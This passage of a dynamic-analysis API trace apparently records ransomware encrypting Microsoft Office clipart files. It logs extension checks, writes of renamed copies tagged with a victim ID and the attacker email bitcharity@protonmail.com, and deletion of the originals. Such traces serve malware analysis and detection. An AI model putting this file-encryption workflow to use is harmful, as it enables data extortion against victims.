lpString2="_.WMF") returned -1 [0151.704] lstrlenW (lpString=".ppt") returned 4 [0151.704] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0151.704] lstrlenW (lpString=".zip") returned 4 [0151.704] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.704] lstrlenW (lpString=".rar") returned 4 [0151.704] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.704] lstrlenW (lpString=".bz2") returned 4 [0151.704] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.704] lstrlenW (lpString=".7z") returned 3 [0151.704] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0151.704] lstrlenW (lpString=".dbf") returned 4 [0151.704] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0151.704] lstrlenW (lpString=".1cd") returned 4 [0151.704] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0151.704] lstrlenW (lpString=".jpg") returned 4 [0151.704] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.705] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.705] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0151.705] GetLastError () returned 0x0 [0151.705] ReadFile (in: hFile=0x10ec, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x212c, lpOverlapped=0x0) returned 1 [0151.774] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x2130, lpOverlapped=0x0) returned 1 [0151.783] ReadFile (in: hFile=0x10ec, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.783] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0151.783] SetEndOfFile (hFile=0x10c0) returned 1 [0151.783] CloseHandle (hObject=0x10c0) returned 1 [0151.789] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.789] SetEndOfFile (hFile=0x10ec) returned 1 [0151.790] CloseHandle (hObject=0x10ec) returned 1 [0151.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0152.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0152.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0152.294] lstrlenW (lpString=".doc") returned 4 [0152.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.294] lstrlenW (lpString=".docx") returned 5 [0152.294] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.294] lstrlenW (lpString=".pdf") returned 4 [0152.294] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.294] lstrlenW (lpString=".xls") returned 4 [0152.294] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.294] lstrlenW (lpString=".xlsx") returned 5 [0152.294] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.294] lstrlenW (lpString=".ppt") returned 4 [0152.294] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0152.294] lstrlenW (lpString=".zip") returned 4 [0152.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.294] lstrlenW (lpString=".rar") returned 4 [0152.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.295] lstrlenW (lpString=".bz2") returned 4 [0152.295] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.295] lstrlenW (lpString=".7z") returned 3 [0152.295] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0152.295] lstrlenW (lpString=".dbf") returned 4 [0152.295] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0152.295] lstrlenW (lpString=".1cd") returned 4 [0152.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0152.295] lstrlenW (lpString=".jpg") returned 4 [0152.295] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.295] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.295] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0152.296] GetLastError () returned 0x0 [0152.296] ReadFile (in: hFile=0x108c, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x10c8, lpOverlapped=0x0) returned 1 [0152.311] WriteFile (in: hFile=0x1084, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x10d0, lpOverlapped=0x0) returned 1 [0152.312] ReadFile (in: hFile=0x108c, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.312] WriteFile (in: hFile=0x1084, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0152.312] SetEndOfFile (hFile=0x1084) returned 1 [0152.313] CloseHandle (hObject=0x1084) returned 1 [0152.316] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.316] SetEndOfFile (hFile=0x108c) returned 1 [0152.317] CloseHandle (hObject=0x108c) returned 1 [0152.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0152.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0152.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0152.318] lstrlenW (lpString=".doc") returned 4 [0152.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.318] lstrlenW (lpString=".docx") returned 5 [0152.318] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.318] lstrlenW (lpString=".pdf") returned 4 [0152.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.318] lstrlenW (lpString=".xls") returned 4 [0152.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.318] lstrlenW (lpString=".xlsx") returned 5 [0152.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.318] lstrlenW (lpString=".ppt") returned 4 [0152.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0152.318] lstrlenW (lpString=".zip") returned 4 [0152.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.318] lstrlenW (lpString=".rar") returned 4 [0152.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.318] lstrlenW (lpString=".bz2") returned 4 [0152.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.319] lstrlenW (lpString=".7z") returned 3 [0152.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0152.319] lstrlenW (lpString=".dbf") returned 4 [0152.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0152.319] lstrlenW (lpString=".1cd") returned 4 [0152.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0152.319] lstrlenW (lpString=".jpg") returned 4 [0152.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.319] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.319] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0152.320] GetLastError () returned 0x0 [0152.320] ReadFile (in: hFile=0x108c, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0xc9c, lpOverlapped=0x0) returned 1 [0152.565] WriteFile (in: hFile=0x1084, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xca0, lpOverlapped=0x0) returned 1 [0152.566] ReadFile (in: hFile=0x108c, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.566] WriteFile (in: hFile=0x1084, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0152.566] SetEndOfFile (hFile=0x1084) returned 1 [0152.567] CloseHandle (hObject=0x1084) returned 1 [0152.567] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.567] SetEndOfFile (hFile=0x108c) returned 1 [0152.569] CloseHandle (hObject=0x108c) returned 1 [0152.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.569] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0152.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0152.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0152.573] lstrlenW (lpString=".doc") returned 4 [0152.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.573] lstrlenW (lpString=".docx") returned 5 [0152.573] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.573] lstrlenW (lpString=".pdf") returned 4 [0152.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.573] lstrlenW (lpString=".xls") returned 4 [0152.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.573] lstrlenW (lpString=".xlsx") returned 5 [0152.573] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.573] lstrlenW (lpString=".ppt") returned 4 [0152.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0152.573] lstrlenW (lpString=".zip") returned 4 [0152.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.573] lstrlenW (lpString=".rar") returned 4 [0152.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.573] lstrlenW (lpString=".bz2") returned 4 [0152.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.573] lstrlenW (lpString=".7z") returned 3 [0152.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0152.573] lstrlenW (lpString=".dbf") returned 4 [0152.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0152.573] lstrlenW (lpString=".1cd") returned 4 [0152.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0152.574] lstrlenW (lpString=".jpg") returned 4 [0152.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.577] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.577] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0152.577] GetLastError () returned 0x0 [0152.577] ReadFile (in: hFile=0x10e4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x6906, lpOverlapped=0x0) returned 1 [0152.651] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x6910, lpOverlapped=0x0) returned 1 [0152.652] ReadFile (in: hFile=0x10e4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.652] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0152.652] SetEndOfFile (hFile=0x10e0) returned 1 [0152.653] CloseHandle (hObject=0x10e0) returned 1 [0152.654] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.654] SetEndOfFile (hFile=0x10e4) returned 1 [0152.655] CloseHandle (hObject=0x10e4) returned 1 [0152.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0152.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0152.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0152.656] lstrlenW (lpString=".doc") returned 4 [0152.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.656] lstrlenW (lpString=".docx") returned 5 [0152.656] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.656] lstrlenW (lpString=".pdf") returned 4 [0152.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.656] lstrlenW (lpString=".xls") returned 4 [0152.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.656] lstrlenW (lpString=".xlsx") returned 5 [0152.656] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.656] lstrlenW (lpString=".ppt") returned 4 [0152.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0152.656] lstrlenW (lpString=".zip") returned 4 [0152.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.657] lstrlenW (lpString=".rar") returned 4 [0152.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.657] lstrlenW (lpString=".bz2") returned 4 [0152.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.657] lstrlenW (lpString=".7z") returned 3 [0152.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0152.657] lstrlenW (lpString=".dbf") returned 4 [0152.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0152.657] lstrlenW (lpString=".1cd") returned 4 [0152.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0152.657] lstrlenW (lpString=".jpg") returned 4 [0152.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.657] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.657] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0152.658] GetLastError () returned 0x0 [0152.658] ReadFile (in: hFile=0x10e4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x3f34, lpOverlapped=0x0) returned 1 [0152.696] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x3f40, lpOverlapped=0x0) returned 1 [0152.698] ReadFile (in: hFile=0x10e4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.698] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0152.698] SetEndOfFile (hFile=0x10e0) returned 1 [0152.698] CloseHandle (hObject=0x10e0) returned 1 [0152.711] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.711] SetEndOfFile (hFile=0x10e4) returned 1 [0152.715] CloseHandle (hObject=0x10e4) returned 1 [0152.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.717] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0152.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0152.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0152.718] lstrlenW (lpString=".doc") returned 4 [0152.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.718] lstrlenW (lpString=".docx") returned 5 [0152.718] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.718] lstrlenW (lpString=".pdf") returned 4 [0152.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.718] lstrlenW (lpString=".xls") returned 4 [0152.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.718] lstrlenW (lpString=".xlsx") returned 5 [0152.718] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.718] lstrlenW (lpString=".ppt") returned 4 [0152.718] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0152.718] lstrlenW (lpString=".zip") returned 4 [0152.718] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.718] lstrlenW (lpString=".rar") returned 4 [0152.718] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.718] lstrlenW (lpString=".bz2") returned 4 [0152.718] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.719] lstrlenW (lpString=".7z") returned 3 [0152.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0152.719] lstrlenW (lpString=".dbf") returned 4 [0152.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0152.719] lstrlenW (lpString=".1cd") returned 4 [0152.719] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0152.719] lstrlenW (lpString=".jpg") returned 4 [0152.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.721] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.721] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 